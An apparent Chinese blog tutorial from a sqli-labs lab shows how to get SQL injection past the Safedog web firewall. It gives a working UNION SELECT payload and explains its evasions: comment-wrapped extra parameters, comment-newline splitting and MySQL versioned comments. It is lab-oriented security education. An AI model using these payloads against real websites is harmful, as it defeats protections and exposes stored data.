SQL注入绕过safedog原理分析(二)

今天继续给大家介绍渗透测试相关知识,本文主要内容是SQL注入绕过safedog的姿势及原理。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、绕过payload与结果

今天尝试对PHPstudy+sqli_labs+安全狗环境进行渗透测试,主要是测试绕过安全狗进行SQL注入的姿势。
首先,我们先来看下正常访问网站:

http://192.168.136.7/sqli/Less-2/?id=1

访问结果如下所示:
在这里插入图片描述
正常使用SQL注入语句进行访问:

http://192.168.136.7/sqli/Less-2/?id=1 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1--+

访问结果如下所示:
在这里插入图片描述
使用修改后的URL绕过安全狗,payload构造如下所示:

http://192.168.136.7/sqli/Less-2/?a=1/*&id=-1%20union--+tctctc%0A%20select%201,2,table_name%20--+tctctc%0A+/*!44444from*/+information_schema.tables%20where%20table_schema=database/**/()%20limit%200,1--+&b=1*/

结果如下所示:
在这里插入图片描述
从上图中我们可以看出,使用上述payload,我们成功绕过了安全狗。

二、payload分析

分析上述payload,可以看出一共使用了三种绕过方式,来避开安全狗对参数的过滤,这三种方式如下所示:
1、GET传参绕过
所谓GET传参绕过,指的是传入其他的参数,利用注释,混淆安全狗对url的检验。
在sali_lab中,我们本来只需要传入id参数,但是在上述payload中,我们传入了id、a和b参数。对于如下payload:

a=1/*&id=-1%20union--+tctctc%0A%20select%201,2,table_name%20--+tctctc%0A+/*!44444from*/+information_schema.tables%20where%20table_schema=database/**/()%20limit%200,1--+&b=1*/

web服务器会将上述解析为三个参数,如下所示:

a=1/*
id=-1%20union--+tctctc%0A%20select%201,2,table_name%20--+tctctc%0A+/*!44444from*/+information_schema.tables%20where%20table_schema=database/**/()%20limit%200,1--+
b=1*/

而对于安全狗而言,只会将其作为一个统一的参数来考虑。因此a参数后面的“*/”和b参数前面的“*/”,就会被安全狗当作注释里的内容来进行处理。
从而起到一定的绕过作用。
2、注释换行绕过
观察上述payload,会发现里面在很多关键字之间(比如union和select)之间,使用了

--+tctctc%0A

在上述字符串中,–的含义是注释,%0A的含义是换行,tctctc是随便输入的乱码。
对于安全狗而言,–后面的所有字符串全部被注释掉了,但是对于SQL语句而言,由于出现了换行符%0A,因此–注释掉的只有tctctc,%0A后面的会自动拼接到前面的语句执行,利用这种方式,可以绕过安全够对某些关联字段的过滤。
3、MySQL数据库特性绕过
除了上述两种手段之外,上述payload还借助了MySQL数据库的特性来实现绕过。
注意看以下字段:

/*!44444from*/

需要注意的是这不仅仅是简单的SQL内联注释绕过,而是在MySQL中有其特定含义。对于MySQL数据库而言,对于上述payload,如果开头是5个数字的话,其含义为当数据库版本大于4.44.44,就把之后的内容当作正常语句来执行,而如果数据库版本如果小于4.44.44,就把后面的内容当作注释的内容来执行。而对于安全狗而言,则只会把该语句当作普通的payload来处理。
MySQL数据库对这类语句处理如下所示:
在这里插入图片描述
我们可以利用这一点,故意选择5个低于数据库版本的数字,使得其中的内容生效,或者选择5个高于数据库版本的数字,使得其中的内容失效,从而得到绕过安全狗的效果。
除此之外,还有如下字段:

database/**/()

在MySQL数据库中,该函数可以被正常识别称为database()并执行。
MySQL数据库对该函数的处理结果如下所示:
在这里插入图片描述

三、写在最后

最后,针对本文内容,一些SQL注入的初学者不要直接套用我的payload去尝试绕过payload,而更应该把心思和精力放到上述绕过手段的学习上,一个绕过方法必然带来WAF厂商的注意并进行封禁,而只要我们多学习一些绕过姿势,自然能够应对一系列的风险!
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

猜你喜欢

转载自blog.csdn.net/weixin_40228200/article/details/126317544